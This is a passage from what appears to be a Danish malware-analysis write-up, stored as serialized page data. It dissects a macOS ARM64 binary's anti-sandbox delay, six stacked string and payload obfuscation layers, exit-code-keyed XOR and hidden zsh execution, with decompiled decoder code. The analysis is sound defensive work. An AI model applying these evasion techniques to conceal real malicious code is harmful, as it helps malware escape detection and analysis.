#0x48]\n",[622,1153,1154],{"class":624,"line":631},[622,1155,1156],{},"10009f41c:  mov w0,#0x37e\n",[622,1158,1159],{"class":624,"line":849},[622,1160,1161],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[622,1163,1164],{"class":624,"line":866},[622,1165,1166],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[622,1168,1170],{"class":624,"line":1169},5,[622,1171,1172],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[622,1174,1176],{"class":624,"line":1175},6,[622,1177,1178],{},"10009f42c:  mov w8,w25               ; current state index\n",[622,1180,1182],{"class":624,"line":1181},7,[622,1183,1184],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[622,1186,1188],{"class":624,"line":1187},8,[622,1189,1190],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[622,1192,1194],{"class":624,"line":1193},9,[622,1195,1196],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[622,1198,1200],{"class":624,"line":1199},10,[622,1201,1202],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[562,1204,1206],{"id":1205},"seks-stablede-obfuskeringslag","Seks stablede obfuskeringslag",[528,1208,568],{},[528,1210,1211,1212,1215],{},"Binærfilen bruger seks forskellige obfuskeringslag, stablet og kædet sammen, så outputtet fra hvert lag føres ind i det næste. Hver payload, hver streng, hver intern konstant er kodet. I ",[555,1213,1214],{},"__const","-segmentet optræder intet meningsfuldt i klartekst. Det følgende er en fuldstændig gennemgang lag for lag, verificeret direkte i Ghidra, helt ned til de enkelte ARM64-instruktioner. Hver af de anvendte teknikker er kendt hver for sig; men den kædede anvendelse over flere niveauer skabte et stærkt indbyrdes afhængigt udførelsesflow, som gjorde både den statiske og den dynamiske analyse betydeligt vanskeligere.",[538,1217],{},[706,1219,1221],{"id":1220},"layer-1-triplet-kodning-på-kompileringstidspunktet","Layer 1: triplet-kodning på kompileringstidspunktet",[528,1223,712],{},[528,1225,1226,1227,1230],{},"Ingen streng i binærfilen er gemt som en tegnfølge, men som en sekvens af 12-byte aritmetiske tripletter. Hver triplet ",[555,1228,1229],{},"(a, b, shift)"," koder præcis ét outputtegn. Kodningsskemaet anvendes på kompileringstidspunktet, så ingen streng nogensinde findes som klartekst i binærfilen, ikke engang kortvarigt under indlæsningen.",[528,1232,1233,1234,1237,1238,1241,1242,1245,1246,1237,1249,1252,1253,1256],{},"To separate dekoderfunktioner håndterer forskellige strengstørrelser. ",[555,1235,1236],{},"FUN_100087c08"," ved ",[555,1239,1240],{},"0x100087c08"," dekoder 60-tegns strenge (720 byte inputdata fra ",[555,1243,1244],{},"DAT_1006292cc","). ",[555,1247,1248],{},"FUN_10007ad80",[555,1250,1251],{},"0x10007ad80"," dekoder 56-tegns strenge (672 byte fra ",[555,1254,1255],{},"DAT_10049708c","). Begge bruger den samme algoritme.",[573,1258,1259],{"style":575},[1043,1260,1261,1264,1266,1269,1059,1271,1064,1273,1276,1277,1279,1280,1282,1283,1285,1286,1289,1290],{},[622,1262,1263],{"style":1047},"// FUN_100087c08 @ 0x100087c08",[1050,1265],{},[622,1267,1268],{"style":1047},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[622,1270,1058],{"style":1057},[622,1272,1236],{"style":1062},[622,1274,1275],{"style":1057},"long"," *param_1)\n{\n  ",[622,1278,1275],{"style":1057}," *plVar1;\n  ",[622,1281,1058],{"style":1057}," *pvVar2;\n  ",[622,1284,1275],{"style":1057}," lVar3;\n  ",[622,1287,1288],{"style":1057},"uint"," *puVar4;\n",[528,1291,1292,1293,1064,1296,1299,1300,1305,1308,1309,1299,1311,1314,1316,1319,1320,1323,1324,1299,1327,1330,1331,1333,1334,1097,1336,1338,1339,1342,1343,1346,1347,1349,1350,1353,1354,1357,1358,1097,1361,1363,1364,1367,1368,1371,1373,1376,1377,1097,1379,1381,1382,1384,1385,1387,1388,1393,1394,1397,1398,1403,1404,1407,1408,1410,1411,1416,1417,1419,1420,1422,1423,1426,1427,1430,1431,1299,1433,1436,1438,1441,1442,1113],{},"pvVar2 = ",[622,1294,1295],{"style":1062},"operator_new",[622,1297,1298],{"style":1083},"0x2d0","); ",[622,1301,1302,1303],{"style":1047},"// allocate 720 bytes (60 triplets × 12)",[1050,1304],{},[622,1306,1307],{"style":1062},"_memcpy","(pvVar2, &DAT_1006292cc, ",[622,1310,1298],{"style":1083},[622,1312,1313],{"style":1047},"// copy encoded triplets from __const",[1050,1315],{},[622,1317,1318],{"style":1062},"FUN_1000a0840","(param_1, ",[622,1321,1322],{"style":1083},"0x3c",", ",[622,1325,1326],{"style":1083},"0",[622,1328,1329],{"style":1047},"// init 60-char output buffer","\nlVar3 = ",[622,1332,1326],{"style":1083},";\npuVar4 = (",[622,1335,1288],{"style":1057},[622,1337,1275],{"style":1057},")pvVar2 + ",[622,1340,1341],{"style":1083},"8",");\n",[622,1344,1345],{"style":1057},"do"," {\nplVar1 = (",[622,1348,1275],{"style":1057}," _)_param_1;\n",[622,1351,1352],{"style":1057},"if"," (-",[622,1355,1356],{"style":1083},"1"," \u003C _(",[622,1359,1360],{"style":1057},"char",[622,1362,1275],{"style":1057},")param_1 + ",[622,1365,1366],{"style":1083},"0x17",")) {\nplVar1 = param_1;\n}\n",[622,1369,1370],{"style":1047},"// THE DECODE FORMULA, one character per triplet:",[1050,1372],{},[622,1374,1375],{"style":1047},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[622,1378,1360],{"style":1057},[622,1380,1275],{"style":1057},")plVar1 + lVar3) =\n(",[622,1383,1360],{"style":1057},")((",[622,1386,1070],{"style":1057},")(puVar4",[622,1389,1390,1391],{},"-",[622,1392,1356],{"style":1083}," * ",[622,1395,1396],{"style":1083},"3"," ^ puVar4",[622,1399,1390,1400],{},[622,1401,1402],{"style":1083},"2",") >> (*puVar4 & ",[622,1405,1406],{"style":1083},"0x1f",")) - (",[622,1409,1360],{"style":1057},")puVar4",[622,1412,1413],{},[622,1414,1415],{"style":1083},"-1",";\nlVar3 = lVar3 + ",[622,1418,1356],{"style":1083},";\npuVar4 = puVar4 + ",[622,1421,1396],{"style":1083},"; ",[622,1424,1425],{"style":1047},"// advance 12 bytes — next triplet","\n} ",[622,1428,1429],{"style":1057},"while"," (lVar3 != ",[622,1432,1322],{"style":1083},[622,1434,1435],{"style":1047},"// loop exactly 60 times",[1050,1437],{},[622,1439,1440],{"style":1062},"operator_delete","(pvVar2);\n",[622,1443,1112],{"style":1057},[528,1445,1446],{},"Den tilsvarende ARM64-assembly, hvor hver instruktion svarer direkte til en operation i formlen:",[573,1448,1449],{"style":575},[577,1450,1453],{"className":1451,"code":1452,"language":582},[580],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[555,1454,1452],{"__ignoreMap":585},[528,1456,1457,1458,1461,1462,1465],{},"Bemærkelsesværdigt: multiplikationen ",[555,1459,1460],{},"b × 3"," er implementeret som ",[555,1463,1464],{},"add w12, w11, w11, LSL #1",", et shift-and-add, der helt undgår en multiplikationsinstruktion. Det er en klassisk compileroptimering, som samtidig gør koden sværere at finde via signaturmatching.",[528,1467,1468],{},"Den fulde dekodningsformel:",[573,1470,1471],{"style":575},[577,1472,1475],{"className":1473,"code":1474,"language":582},[580],"char = ASR( (b × 3) XOR a, shift ) − b\n",[555,1476,1474],{"__ignoreMap":585},[528,1478,1479,1482,1483,1486,1487,1490],{},[555,1480,1481],{},"ASR"," (Arithmetic Shift Right) er afgørende: den bevarer fortegnsbitten. Hvis mellemresultatet af ",[555,1484,1485],{},"(b×3) XOR a"," er negativt, hvilket ofte sker, ville et logisk shift give et helt andet resultat. Det er tilsigtet: den, der implementerer formlen i et højniveausprog med ",[555,1488,1489],{},">>",", får stiltiende forkerte output, medmindre den fortegnsbehæftede aritmetik udtrykkeligt tages i betragtning.",[528,1492,1493,1494,1496,1497,1499,1500,1503],{},"56-tegns varianten ",[555,1495,1248],{}," er strukturelt identisk, arbejder på ",[555,1498,1255],{}," med en løkkegrænse på ",[555,1501,1502],{},"0x38",". Begge funktioner blev bekræftet live i Ghidra under denne analyse.",[538,1505],{},[706,1507,1509],{"id":1508},"layer-2-hex-streng-kodning","Layer 2: hex-streng-kodning",[528,1511,712],{},[528,1513,1514,1515,1518,1519,1237,1522,1525,1526,1529],{},"De rå bytes, som Layer 1 producerer, er selv ASCII-hex-tegn, ikke binære data. Outputtet af et Layer 1-triplet-dekode er en streng af hex-par: ",[555,1516,1517],{},"32694e5462...",". Det bekræftes af dekoderfunktionen ",[555,1520,1521],{},"FUN_100000dc0",[555,1523,1524],{},"0x100000dc0",", som implementerer et hex-dekode via en lookup-tabel ved ",[555,1527,1528],{},"DAT_1007bb591",".",[528,1531,1532,1533,1390,1536,1323,1539,1390,1542,1323,1545,1390,1548,1551],{},"Ghidra-dekompileringen viser en switch-sætning, der mapper hvert hex-tegn (",[555,1534,1535],{},"0x30",[555,1537,1538],{},"0x39",[555,1540,1541],{},"0x41",[555,1543,1544],{},"0x46",[555,1546,1547],{},"0x61",[555,1549,1550],{},"0x66",") til dets nibble-værdi og sætter outputbytes sammen to tegn ad gangen:",[573,1553,1554],{"style":575},[1043,1555,1556,1559,1562,1565,1566,1569,1570,1572,1573,1059,1576,1578,1579,1582,1583,939,1586,1059,1588,1591,1592,1422,1595,1597,1598,939,1601,1059,1603,1591,1606,1422,1609,1597,1611,939,1614,939,1617,1059,1619,1578,1621,1059,1623,1591,1625,1422,1628,1630,1631,939,1634,1059,1636,1578,1639,1059,1641,1591,1644,1422,1647,1630,1649,939,1652,1059,1654,1578,1657,1059,1659,1662,1663,1422,1666,1630,1668,939,1671,1059,1673,1578,1676,1059,1678,1681,1682,1422,1685,1630,1687,939,1690,1059,1692,1578,1695,1059,1697,1591,1700,1422,1703,1630,1705,939,1708,1059,1710,1578,1712,1059,1714,1591,1716,1422,1719,1630,1721,1724,1725,1728,1729,1569,1732,1734,1735,1737,1738,1741],{},[622,1557,1558],{"style":1047},"// FUN_100000dc0 @ 0x100000dc0",[622,1560,1561],{"style":1047},"// Hex decoder, processes input two characters per output byte",[622,1563,1564],{"style":1057},"switch","(*(",[622,1567,1568],{"style":1057},"undefined1"," *)((",[622,1571,1275],{"style":1057},")plVar2 + lVar7)) {\n  ",[622,1574,1575],{"style":1057},"case",[622,1577,1535],{"style":1083},": ",[622,1580,1581],{"style":1057},"break",";                  ",[622,1584,1585],{"style":1047},"// '0' → 0x00",[622,1587,1575],{"style":1057},[622,1589,1590],{"style":1083},"0x31",": bVar9 = ",[622,1593,1594],{"style":1083},"0x10",[622,1596,1581],{"style":1057},";   ",[622,1599,1600],{"style":1047},"// '1' → 0x10",[622,1602,1575],{"style":1057},[622,1604,1605],{"style":1083},"0x32",[622,1607,1608],{"style":1083},"0x20",[622,1610,1581],{"style":1057},[622,1612,1613],{"style":1047},"// '2' → 0x20",[622,1615,1616],{"style":1047},"// ... '3' through '9' ...",[622,1618,1575],{"style":1057},[622,1620,1541],{"style":1083},[622,1622,1575],{"style":1057},[622,1624,1547],{"style":1083},[622,1626,1627],{"style":1083},"0xa0",[622,1629,1581],{"style":1057},";  ",[622,1632,1633],{"style":1047},"// 'A'/'a' → 0xa0",[622,1635,1575],{"style":1057},[622,1637,1638],{"style":1083},"0x42",[622,1640,1575],{"style":1057},[622,1642,1643],{"style":1083},"0x62",[622,1645,1646],{"style":1083},"0xb0",[622,1648,1581],{"style":1057},[622,1650,1651],{"style":1047},"// 'B'/'b' → 0xb0",[622,1653,1575],{"style":1057},[622,1655,1656],{"style":1083},"0x43",[622,1658,1575],{"style":1057},[622,1660,1661],{"style":1083},"99",":   bVar9 = ",[622,1664,1665],{"style":1083},"0xc0",[622,1667,1581],{"style":1057},[622,1669,1670],{"style":1047},"// 'C'/'c' → 0xc0",[622,1672,1575],{"style":1057},[622,1674,1675],{"style":1083},"0x44",[622,1677,1575],{"style":1057},[622,1679,1680],{"style":1083},"100",":  bVar9 = ",[622,1683,1684],{"style":1083},"0xd0",[622,1686,1581],{"style":1057},[622,1688,1689],{"style":1047},"// 'D'/'d' → 0xd0",[622,1691,1575],{"style":1057},[622,1693,1694],{"style":1083},"0x45",[622,1696,1575],{"style":1057},[622,1698,1699],{"style":1083},"0x65",[622,1701,1702],{"style":1083},"0xe0",[622,1704,1581],{"style":1057},[622,1706,1707],{"style":1047},"// 'E'/'e' → 0xe0",[622,1709,1575],{"style":1057},[622,1711,1544],{"style":1083},[622,1713,1575],{"style":1057},[622,1715,1550],{"style":1083},[622,1717,1718],{"style":1083},"0xf0",[622,1720,1581],{"style":1057},[622,1722,1723],{"style":1047},"// 'F'/'f' → 0xf0","\n}\n",[622,1726,1727],{"style":1047},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[622,1730,1731],{"style":1057},"byte",[622,1733,1275],{"style":1057},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[622,1736,1100],{"style":1057},")uVar4 & ",[622,1739,1740],{"style":1083},"0xff","] | bVar9;\n",[528,1743,1744],{},"ARM64-assemblyen driver dette med en sekundær computed branch-tabel og implementerer dermed reelt en springtabel med 55 indgange til switchen:",[573,1746,1747],{"style":575},[577,1748,1751],{"className":1749,"code":1750,"language":582},[580],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[555,1752,1750],{"__ignoreMap":585},[528,1754,1755],{},"To beregnede branches inden for et vindue på 24 byte. Statiske analyseværktøjer kan ikke håndtere det mønster, fordi begge branch-mål er ukendte på analysetidspunktet.",[528,1757,1758],{},"En hex-streng på 137.208 tegn giver efter dekodningen 68.604 byte, som derefter føres ind i Layer 3.",[538,1760],{},[706,1762,1764],{"id":1763},"layer-3-brugerdefineret-16-symbols-nibble-alfabet","Layer 3: brugerdefineret 16-symbols nibble-alfabet",[528,1766,712],{},[528,1768,1769],{},"De 68.604 outputbytes fra Layer 2 bruger kun 16 entydige byteværdier fra to ikke-sammenhængende ASCII-områder:",[1771,1772,1773,1822],"ul",{},[1774,1775,1776,1779,1780,1323,1783,1323,1786,1323,1789,1323,1792,1323,1795,1323,1798,1323,1801,1323,1803,1323,1806,1323,1809,1323,1812,1323,1815,1323,1817,1323,1819],"li",{},[555,1777,1778],{},"0x20-0x2F",": mellemrum, ",[555,1781,1782],{},"!",[555,1784,1785],{},"\"",[555,1787,1788],{},"#",[555,1790,1791],{},"$",[555,1793,1794],{},"%",[555,1796,1797],{},"&",[555,1799,1800],{},"'",[555,1802,1064],{},[555,1804,1805],{},")",[555,1807,1808],{},"*",[555,1810,1811],{},"+",[555,1813,1814],{},",",[555,1816,1390],{},[555,1818,1529],{},[555,1820,1821],{},"/",[1774,1823,1824,1578,1827,1323,1830,1323,1833,1323,1836,1323,1839,1323,1842,1323,1845,1848],{},[555,1825,1826],{},"0x78-0x7F",[555,1828,1829],{},"x",[555,1831,1832],{},"y",[555,1834,1835],{},"z",[555,1837,1838],{},"{",[555,1840,1841],{},"|",[555,1843,1844],{},"}",[555,1846,1847],{},"~",", DEL",[528,1850,1851],{},"Det er et bevidst designvalg. I en hex-editor ser disse bytes ud som mellemrum, tegnsætning og ASCII-randtegn; de går i ét med støjen fra det, der ligner metadata eller padding. En analytiker, der skimmer et hex-dump, markerer ikke de byteområder som mistænkelige, og standardentropianalyser undervurderer den effektive entropi, fordi bytefordelingen ikke virker tilfældig.",[528,1853,1854,1855,1858,1859,1862,1863,1866,1867,1870],{},"Hver byte fra dette alfabet koder en nibble af den egentlige payload. Mapningen fra alfabet til nibble anvendes af encode/decode-funktionen ",[555,1856,1857],{},"FUN_100000d60",", som vi bekræftede ved ",[555,1860,1861],{},"0x100000d60",". Den kæder to underfunktioner sammen: ",[555,1864,1865],{},"FUN_100000b50"," opretter et indekseret map over tegnene i inputstrengen, og ",[555,1868,1869],{},"FUN_100000c34"," gennemløber dette map, forbruger 6 bit pr. skridt og akkumulerer outputbytes 8 bit ad gangen:",[573,1872,1873],{"style":575},[1043,1874,1875,1878,1879,1881,1882,1884,1885,1887,1888,1891,1892,939,1895,1897,1898,1900,1901,943,1904,1906,1907,1910,1911,1913,1914,943,1917,1919,1920,1923,1924,1927,1928,1930,1931,1934,1935,1937,1938,1569,1941,1943,1944,1946,1947,1949],{},[622,1876,1877],{"style":1047},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[622,1880,1326],{"style":1083},";\n",[622,1883,1345],{"style":1057}," {\n  local_52 = *(",[622,1886,1568],{"style":1057}," *)puVar4;\n  lVar3 = ",[622,1889,1890],{"style":1062},"FUN_1000a078c","(param_3, &local_52);  ",[622,1893,1894],{"style":1047},"// look up nibble value",[622,1896,1352],{"style":1057}," (lVar3 == ",[622,1899,1326],{"style":1083},") {\n    ",[622,1902,1903],{"style":1047},"// character not in alphabet, treat as raw",[622,1905,1890],{"style":1062},"(param_3, &local_51);\n  } ",[622,1908,1909],{"style":1057},"else"," {\n    iVar5 = iVar5 + ",[622,1912,1104],{"style":1083},";           ",[622,1915,1916],{"style":1047},"// accumulate 4 bits",[622,1918,1429],{"style":1057}," (",[622,1921,1922],{"style":1083},"7"," \u003C iVar5) {\n      std::string::",[622,1925,1926],{"style":1062},"push_back","((",[622,1929,1360],{"style":1057},")param_1);  ",[622,1932,1933],{"style":1047},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[622,1936,1341],{"style":1083},";\n    }\n  }\n  puVar4 = (",[622,1939,1940],{"style":1057},"undefined8",[622,1942,1275],{"style":1057},")puVar4 + ",[622,1945,1356],{"style":1083},");\n} ",[622,1948,1429],{"style":1057}," (puVar4 != puVar1);\n",[528,1951,1952],{},"De 34.302 byte, der kommer ud af dette gennemløb, er 99,7% printbart ASCII. Ved et hurtigt førstehåndsindtryk ligner payloaden på dette niveau et stort shell-script eller en konfigurations-blob.",[538,1954],{},[706,1956,1958],{"id":1957},"layer-4-strengobfuskering-på-kompileringstidspunktet","Layer 4: strengobfuskering på kompileringstidspunktet",[528,1960,712],{},[528,1962,1963],{},"Internt anvendte strenge obfuskeres på kompileringstidspunktet med det samme triplet-skema som Layer 1 og rekonstrueres ved runtime lige inden brug. I hukommelsen ligger de aldrig længere end nødvendigt; bufferen frigives straks efter forbrug. I binærfilens statiske datasektioner er en dekodet streng på intet tidspunkt synlig.",[528,1965,1966,1967,1970],{},"Strenghash-funktionen ",[555,1968,1969],{},"FUN_100000730"," leverer et sekundært obfuskeringslag til strengsammenligninger. I stedet for at sammenligne strenge direkte, hvilket ville efterlade klartekst i hukommelsen, beregner og sammenligner binærfilen heltalshashes:",[573,1972,1973],{"style":575},[1043,1974,1975,1978,1981,1059,1983,1064,1985,1276,1987,1989,1990,1993,1994,939,1997,939,2000,2003,2004,2006,2007,2009,2010,2012,2013,1630,2016,2019,2020,2022,2023,2025],{},[622,1976,1977],{"style":1047},"// FUN_100000730 @ 0x100000730",[622,1979,1980],{"style":1047},"// FNV-style string hash, avoids plaintext string comparisons",[622,1982,1070],{"style":1057},[622,1984,1969],{"style":1062},[622,1986,1360],{"style":1057},[622,1988,1070],{"style":1057}," iVar4 = ",[622,1991,1992],{"style":1083},"0x19a8",";    ",[622,1995,1996],{"style":1047},"// FNV offset basis (modified)",[622,1998,1999],{"style":1047},"// ...",[622,2001,2002],{"style":1057},"for"," (; uVar3 != ",[622,2005,1326],{"style":1083},"; uVar3 = uVar3 - ",[622,2008,1356],{"style":1083},") {\n    iVar4 = (",[622,2011,1070],{"style":1057},")*pcVar1 + iVar4 * -",[622,2014,2015],{"style":1083},"0x7fb91be3",[622,2017,2018],{"style":1047},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[622,2021,1356],{"style":1083},";\n  }\n  ",[622,2024,1112],{"style":1057}," iVar4;\n}\n",[528,2027,2028],{},"ARM64-assemblyen erstatter multiplikationen med et fused multiply-add:",[573,2030,2031],{"style":575},[577,2032,2035],{"className":2033,"code":2034,"language":582},[580],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[555,2036,2034],{"__ignoreMap":585},[528,2038,2039],{},"Det betyder, at selv en sammenligning af to strenge inde i binærfilen ikke skaber en branch, som en debugger kan opfange rent på strengniveau, kun på hashniveau.",[538,2041],{},[706,2043,2045],{"id":2044},"layer-5-to-custom-stream-cipher-instanser","Layer 5: to custom stream cipher-instanser",[528,2047,712],{},[528,2049,2050,2051,2054],{},"Her bliver obfuskeringsarkitekturen usædvanlig. I binærfilen kører ikke én, men ",[771,2052,2053],{},"to separate cipher-instanser",", hver med sin egen hardkodede lookup-tabel og sin egen starttæller. Begge bruger den samme algoritmestruktur, men producerer forskellige outputalfabeter til forskellige dele af payload-pipelinen.",[528,2056,2057,1323,2060,1237,2063,2066],{},[771,2058,2059],{},"Instans A",[555,2061,2062],{},"FUN_10007ab34",[555,2064,2065],{},"0x10007ab34",":",[573,2068,2069],{"style":575},[1043,2070,2071,2074,2075,1881,2078,2080,2081,1569,2083,2085,2086,2088,2089,1569,2091,2093,2094,2096,2097,1569,2099,2101,2102,2104,2105,2108,2109,2111,2112,2114],{},[622,2072,2073],{"style":1047},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[622,2076,2077],{"style":1083},"0x4c",[622,2079,1345],{"style":1057}," {\n  bVar2 = *(",[622,2082,1731],{"style":1057},[622,2084,1275],{"style":1057},")local_e0 +\n          ((",[622,2087,1100],{"style":1057},")(*(",[622,2090,1731],{"style":1057},[622,2092,1275],{"style":1057},")local_c8 + uVar5) ^ uVar6) & ",[622,2095,1740],{"style":1083},"));\n  *(",[622,2098,1731],{"style":1057},[622,2100,1275],{"style":1057},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[622,2103,1070],{"style":1057},")uVar5 + (uVar6 ^ bVar2);  ",[622,2106,2107],{"style":1047},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[622,2110,1356],{"style":1083},";\n} ",[622,2113,1429],{"style":1057}," (uVar7 != uVar5);\n",[528,2116,2117,1323,2120,1237,2123,2066],{},[771,2118,2119],{},"Instans B",[555,2121,2122],{},"FUN_10007a7e0",[555,2124,2125],{},"0x10007a7e0",[573,2127,2128],{"style":575},[1043,2129,2130,2074,2133,1881,2136,2080,2138,1569,2140,2142,2143,2088,2145,1569,2147,2149,2150,2096,2152,1569,2154,2101,2156,2104,2158,2108,2161,2111,2163,2114],{},[622,2131,2132],{"style":1047},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[622,2134,2135],{"style":1083},"0x9f",[622,2137,1345],{"style":1057},[622,2139,1731],{"style":1057},[622,2141,1275],{"style":1057},")local_c0 +\n          ((",[622,2144,1100],{"style":1057},[622,2146,1731],{"style":1057},[622,2148,1275],{"style":1057},")local_a8 + uVar5) ^ uVar6) & ",[622,2151,1740],{"style":1083},[622,2153,1731],{"style":1057},[622,2155,1275],{"style":1057},[622,2157,1070],{"style":1057},[622,2159,2160],{"style":1047},"// identical counter update formula",[622,2162,1356],{"style":1083},[622,2164,1429],{"style":1057},[528,2166,2167,2168,2170,2171,2173],{},"Algoritmen er strukturelt identisk, men starttælleren er forskellig (",[555,2169,2077],{}," mod ",[555,2172,2135],{},"), og lookup-tabellerne ligger på forskellige hukommelsesadresser. Instans A kaldes fra tilstand 11 i tilstandsmaskinen for at generere kodningsalfabetet til den første payload-sti. Instans B kaldes fra tilstand 6 for at generere alfabetet til dekodningen af den store shell-script-payload.",[528,2175,2176,2177,2180,2181,2184,2185,2188],{},"Præcist formuleret: der er tale om en ",[771,2178,2179],{},"substitutionschiffer med tællerafhængigt indeks",". Hver outputbyte er et tabelopslag, hvor indekset er ",[555,2182,2183],{},"(input_byte XOR counter) & 0xFF",". Tælleren opdateres efter hver byte som ",[555,2186,2187],{},"counter = (i + (counter XOR output)) & 0xFF",", hvilket betyder, at hver outputbyte påvirker bestemmelsen af det næste lookup-indeks. Det skaber en afhængighedskæde gennem hele outputsekvensen: byte N kan ikke dekrypteres uden at byte 0 til N-1 er dekrypteret korrekt. Delvis dekryptering eller fejlanalyse bliver dermed betydeligt sværere.",[528,2190,2191],{},"Ingen af instanserne er standard-RC4. Der er ingen S-box-initialiseringsfase, ingen S-box-swap-operation. Lookup-tabellerne er statiske konstanter, indlejret på kompileringstidspunktet.",[538,2193],{},[706,2195,2197],{"id":2196},"layer-6-runtime-xor-med-exit-code-afhængig-nøgle","Layer 6: runtime-XOR med exit-code-afhængig nøgle",[528,2199,712],{},[528,2201,2202,2203,2206],{},"Det sidste og analytisk mest krævende lag anvender en in-place XOR-transformation på Stage 2-payloaden. XOR-nøglen er ikke hardkodet, men afledes ved runtime af exit-koden fra ",[771,2204,2205],{},"den første shell-payload-udførelse",", og er dermed principielt ikke bestemmelig ved statisk analyse. Binærfilen skal rent faktisk udføres, og det første shell-script skal køre til ende, før nøglen overhovedet findes.",[528,2208,2209],{},"Nøgleafledningssekvensen i ARM64-tilstandsmaskinens dispatcher:",[573,2211,2212],{"style":575},[577,2213,2216],{"className":2214,"code":2215,"language":582},[580],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[555,2217,2215],{"__ignoreMap":585},[528,2219,2220],{},"XOR-løkken, der behandler Stage 2-payloaden:",[573,2222,2223],{"style":575},[577,2224,2227],{"className":2225,"code":2226,"language":582},[580],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[555,2228,2226],{"__ignoreMap":585},[528,2230,2231,2232,2235,2236,2239,2240,2242],{},"Nøglen er en 16-bit værdi, der afledes af exit-status-byten fra den første shell-payload, multipliceres med ",[555,2233,2234],{},"0x7f0"," og lægges til den aktuelle værdi i tilstandsmaskinens basistællerregister ",[555,2237,2238],{},"w26",". Multiplikationskonstanten ",[555,2241,2234],{}," gør, at en enkeltbit-forskel i exit-koden giver en helt anden nøgle. Der er ingen udnyttelig kontinuitet mellem nabonøgleværdier.",[528,2244,2245],{},"Uden at udføre binærfilen i et kontrolleret miljø og registrere den præcise exit-kode fra den første shell-payload forbliver Stage 2-payloaden permanent uigennemsigtig for statisk analyse. Det var den sværeste forhindring i hele analysen.",[538,2247],{},[562,2249,2251],{"id":2250},"shell-udførelse-pipes-i-stedet-for-argumenter-og-simd-xor","Shell-udførelse: pipes i stedet for argumenter, og SIMD-XOR",[528,2253,568],{},[528,2255,2256,2257,1237,2260,2263],{},"Shell-udførelsesfunktionen ",[555,2258,2259],{},"FUN_10000091c",[555,2261,2262],{},"0x10000091c"," er binærfilens arkitektonisk mest interessante komponent. Her løber alt sammen: den dekodede payload, det obfuskerede kommandonavn og det eksplicitte anti-forensiske design. Hvert designvalg i denne funktion tjener et bestemt evasionsformål.",[706,2265,2267],{"id":2266},"trin-1-kommandonavnet-optræder-aldrig-i-klartekst","Trin 1: kommandonavnet optræder aldrig i klartekst",[528,2269,712],{},[528,2271,2272,2275,2276,2279,2280,2283,2284,2287],{},[555,2273,2274],{},"/bin/zsh"," findes ingen steder i binærfilen som klartekst. I ",[555,2277,2278],{},"__cstring","-afsnittet ved ",[555,2281,2282],{},"0x1007bb5c8"," ligger strengen som de obfuskerede bytes ",[555,2285,2286],{},"\\x01LG@\\x01T]F",". Dekodningen sker ved runtime via en enkelt XOR-operation, som kan verificeres direkte i ARM64-assemblyen:",[573,2289,2290],{"style":575},[577,2291,2294],{"className":2292,"code":2293,"language":582},[580],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes 